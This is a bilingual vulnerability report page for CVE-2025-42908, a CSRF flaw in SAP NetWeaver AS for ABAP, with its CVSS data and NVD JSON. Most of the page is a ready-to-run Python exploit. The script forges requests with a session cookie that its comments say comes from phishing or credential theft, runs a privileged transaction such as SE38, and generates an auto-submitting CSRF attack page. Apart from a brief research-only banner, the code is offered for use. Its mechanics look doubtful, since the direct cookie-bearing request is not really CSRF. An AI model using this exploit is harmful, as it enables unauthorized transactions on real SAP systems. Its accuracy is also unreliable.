Security Vulnerability Report
中文
CVE-2025-42908 CVSS 5.4 MEDIUM

CVE-2025-42908

Published: 2025-10-14 01:15:33
Last Modified: 2026-04-15 00:35:42

Description

Due to a Cross-Site Request Forgery (CSRF) vulnerability in SAP NetWeaver Application Server for ABAP, an authenticated attacker could initiate transactions directly via the session manager, bypassing the first transaction screen and the associated authorization check. This vulnerability could allow the attacker to perform actions and execute transactions that would normally require specific permissions, compromising the integrity and confidentiality of the system by enabling unauthorized access to restricted functionality. There is no impact to availability from this vulnerability.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP NetWeaver Application Server for ABAP - 所有未安装SAP Security Note 3642021的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-42908 - SAP NetWeaver AS for ABAP CSRF Vulnerability PoC # This PoC demonstrates the CSRF attack vector against SAP NetWeaver AS for ABAP # The vulnerability allows bypassing the first transaction screen and authorization check import requests from urllib.parse import urljoin # Configuration TARGET_URL = "https://sap-target-server:port" # Target SAP NetWeaver AS for ABAP server SESSION_COOKIE = "MYSAPSSO2=..." # Valid session cookie of authenticated user (obtained via phishing/credential theft) TARGET_TCODE = "SE38" # Target transaction code to execute (e.g., ABAP Editor) # Step 1: Construct the CSRF payload # The attack bypasses the initial screen and authorization check # by directly invoking the transaction through the session manager def craft_csrf_payload(tcode): """ Craft a CSRF payload that directly invokes a transaction bypassing the first screen and authorization check. """ # The malicious request targets the SAP session manager endpoint # directly with the transaction code, skipping the initial screen payload = { "~okcode": f"/{tcode}", # OK code to trigger transaction "TCODE": tcode, # Transaction code parameter } return payload # Step 2: Send the CSRF request with the victim's session cookie def exploit_csrf(target_url, session_cookie, tcode): """ Exploit the CSRF vulnerability by sending a crafted request with the victim's authenticated session. """ # SAP NetWeaver session manager endpoint endpoint = urljoin(target_url, "/sap/bc/gui/sap/its/webgui") # Headers to simulate a legitimate request headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded", "Referer": "https://malicious-site.com/csrf.html", # Attacker's controlled referer "User-Agent": "Mozilla/5.0 (compatible; SAP NetWeaver Client)" } # Craft the CSRF payload payload = craft_csrf_payload(tcode) # Send the request - the session manager will process it # without checking the first screen or authorization response = requests.post( endpoint, data=payload, headers=headers, verify=False # In production, handle SSL properly ) return response # Step 3: Alternative - HTML-based CSRF for browser-based attacks def generate_csrf_html(tcode, target_url): """ Generate an HTML page that triggers the CSRF attack when visited by an authenticated SAP user. """ html_content = f""" <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <!-- Auto-submitting form to trigger CSRF --> <form id="csrf-form" action="{target_url}/sap/bc/gui/sap/its/webgui" method="POST"> <input type="hidden" name="~okcode" value="/{tcode}" /> <input type="hidden" name="TCODE" value="{tcode}" /> </form> <script>document.getElementById('csrf-form').submit();</script> </body> </html> """ return html_content # Main execution if __name__ == "__main__": print(f"[*] Targeting SAP NetWeaver AS for ABAP CSRF (CVE-2025-42908)") print(f"[*] Target: {TARGET_URL}") print(f"[*] Transaction Code: {TARGET_TCODE}") # Execute the CSRF exploit response = exploit_csrf(TARGET_URL, SESSION_COOKIE, TARGET_TCODE) if response.status_code == 200: print("[+] CSRF exploit successful - Transaction executed without authorization check") else: print(f"[-] Exploit failed with status code: {response.status_code}") # Generate CSRF HTML page for browser-based attack csrf_html = generate_csrf_html(TARGET_TCODE, TARGET_URL) with open("csrf_exploit.html", "w") as f: f.write(csrf_html) print("[+] CSRF HTML page saved to csrf_exploit.html")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42908", "sourceIdentifier": "[email protected]", "published": "2025-10-14T01:15:32.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a Cross-Site Request Forgery (CSRF) vulnerability in SAP NetWeaver Application Server for ABAP, an authenticated attacker could initiate transactions directly via the session manager, bypassing the first transaction screen and the associated authorization check. This vulnerability could allow the attacker to perform actions and execute transactions that would normally require specific permissions, compromising the integrity and confidentiality of the system by enabling unauthorized access to restricted functionality. There is no impact to availability from this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://me.sap.com/notes/3642021", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}